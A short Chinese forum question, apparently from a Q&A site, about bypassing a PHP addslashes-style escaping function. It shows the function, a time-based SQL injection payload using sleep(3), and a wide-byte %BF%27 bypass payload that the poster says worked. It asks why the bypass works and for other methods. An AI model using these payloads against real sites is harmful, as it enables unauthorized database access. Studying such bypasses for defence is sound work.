SQLI:如何绕过addslashes
代码:
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
程序中,对从客户端传递过来的参数都会使用check_addslashes函数对单引号和双引号进行转义
比如:
攻击者构造的payload:
id=1' and sleep(3) --+
最终的sql语句就变成了:
SELECT * FROM users WHERE id='1\' and sleep(3) -- ' LIMIT 0,1
问题:
对于此种类型的防注入,可以怎样bapass呢?
google了下,
可以这样构造payload:
id=1%BF%27 and sleep(3) --+
则最终的sql语句:
SELECT * FROM users WHERE id='1�\' and sleep(3) -- ' LIMIT 0,1
试了下,果然可以成功执行了。
但具体原因没讲,不明白。
不知道有谁能帮忙指点下其中的原理吗?
另外,还有没有别的方法可以成功绕过被转义的单双引号呢?
自由引导人民
10 years, 4 months ago